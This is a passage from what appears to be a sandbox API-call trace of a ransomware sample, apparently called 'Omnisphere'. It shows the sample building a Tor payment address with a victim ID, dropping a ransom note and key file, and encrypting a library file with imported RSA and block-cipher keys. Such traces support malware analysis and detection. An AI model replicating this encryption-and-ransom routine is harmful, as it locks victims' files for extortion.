lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0118.079] GetProcessHeap () returned 0x1600000 [0118.079] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1693c60 [0118.079] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1693c60, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0118.079] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0118.079] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0118.079] GetProcessHeap () returned 0x1600000 [0118.079] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1687048 [0118.079] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1687048, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0118.079] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0118.079] GetProcessHeap () returned 0x1600000 [0118.079] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb6) returned 0x166a7b8 [0118.079] PathCombineW (in: pszDest=0x166a7b8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\!DECRYPT_OMNISPHERE.txt" [0118.079] GetProcessHeap () returned 0x1600000 [0118.079] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x169abf0 [0118.079] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\libraries\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0118.079] WriteFile (in: hFile=0x28c, lpBuffer=0x169abf0*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x169abf0*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0118.079] CloseHandle (hObject=0x28c) returned 1 [0118.080] GetProcessHeap () returned 0x1600000 [0118.080] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x169f3e0 | out: hHeap=0x1600000) returned 1 [0118.080] GetProcessHeap () returned 0x1600000 [0118.080] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xac) returned 0x16315d0 [0118.080] PathCombineW (in: pszDest=0x16315d0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\unique_decrypt.key" [0118.080] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\libraries\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0118.080] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0118.080] CloseHandle (hObject=0x28c) returned 1 [0118.080] GetProcessHeap () returned 0x1600000 [0118.080] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16315d0 | out: hHeap=0x1600000) returned 1 [0118.080] GetProcessHeap () returned 0x1600000 [0118.080] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0118.080] FindNextFileW (in: hFindFile=0x16396a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44137e3b, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xce3fc5a7, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xce3fc5a7, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x819, dwReserved0=0x0, dwReserved1=0xd3, cFileName="Pictures.library-ms", cAlternateFileName="PICTUR~1.LIB")) returned 1 [0118.080] GetProcessHeap () returned 0x1600000 [0118.081] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xae) returned 0x1630de8 [0118.081] PathCombineW (in: pszDest=0x1630de8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries", pszFile="Pictures.library-ms" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Pictures.library-ms") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Pictures.library-ms" [0118.081] StrStrW (lpFirst=".omnisphere", lpSrch=".library-ms") returned 0x0 [0118.081] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Pictures.library-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\libraries\\pictures.library-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0118.081] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=2073) returned 1 [0118.081] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x2f5, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0118.081] ReadFile (in: hFile=0x28c, lpBuffer=0x3e0d274, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0d7bc, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesRead=0x3e0d7bc*=0x524, lpOverlapped=0x0) returned 1 [0118.082] GetTickCount () returned 0x115d83c [0118.083] GetTickCount () returned 0x115d83c [0118.083] GetTickCount () returned 0x115d83c [0118.083] GetTickCount () returned 0x115d83c [0118.083] GetTickCount () returned 0x115d83c [0118.083] GetTickCount () returned 0x115d83c [0118.083] GetTickCount () returned 0x115d83c [0118.083] GetTickCount () returned 0x115d83c [0118.083] GetTickCount () returned 0x115d83c [0118.083] GetTickCount () returned 0x115d83c [0118.083] GetTickCount () returned 0x115d83c [0118.083] GetTickCount () returned 0x115d83c [0118.083] GetTickCount () returned 0x115d83c [0118.083] GetTickCount () returned 0x115d83c [0118.083] GetTickCount () returned 0x115d83c [0118.083] GetTickCount () returned 0x115d83c [0118.083] GetTickCount () returned 0x115d83c [0118.083] GetTickCount () returned 0x115d83c [0118.083] GetTickCount () returned 0x115d83c [0118.083] GetTickCount () returned 0x115d83c [0118.083] GetTickCount () returned 0x115d83c [0118.083] GetTickCount () returned 0x115d83c [0118.083] GetTickCount () returned 0x115d83c [0118.083] GetTickCount () returned 0x115d83c [0118.083] GetTickCount () returned 0x115d83c [0118.083] GetTickCount () returned 0x115d83c [0118.083] GetTickCount () returned 0x115d83c [0118.083] GetTickCount () returned 0x115d83c [0118.083] GetTickCount () returned 0x115d83c [0118.083] GetTickCount () returned 0x115d83c [0118.083] GetTickCount () returned 0x115d83c [0118.083] GetTickCount () returned 0x115d83c [0118.083] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x16683d8) returned 1 [0118.084] CryptImportKey (in: hProv=0x16683d8, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639528) returned 1 [0118.084] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0118.084] CryptDestroyKey (hKey=0x1639528) returned 1 [0118.084] CryptReleaseContext (hProv=0x16683d8, dwFlags=0x0) returned 1 [0118.084] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x819, lpName=0x0) returned 0x288 [0118.084] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x819) returned 0x1480000 [0118.084] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1668ac0) returned 1 [0118.085] CryptImportKey (in: hProv=0x1668ac0, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639b28) returned 1 [0118.085] CryptSetKeyParam (hKey=0x1639b28, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0118.085] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0118.085] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.085] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.085] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.085] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.085] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.085] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.085] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.085] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.085] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.085] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.085] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.085] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.085] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.085] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.085] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.086] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.086] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.086] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.086] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.086] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.086] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.086] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.086] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.086] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.086] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.086] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.086] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.086] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.086] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.086] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.086] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.086] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.086] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.086] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.086] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.086] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.086] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.086] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.086] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.086] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.086] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.086] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.086] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.087] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.087] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.087] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.087] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.087] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.087] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.087] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.087] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.087] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.087] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.087] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.087] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.087] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.087] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.087] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.087] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.087] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.087] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.087] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.087] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.087] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.087] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.087] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.087] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, 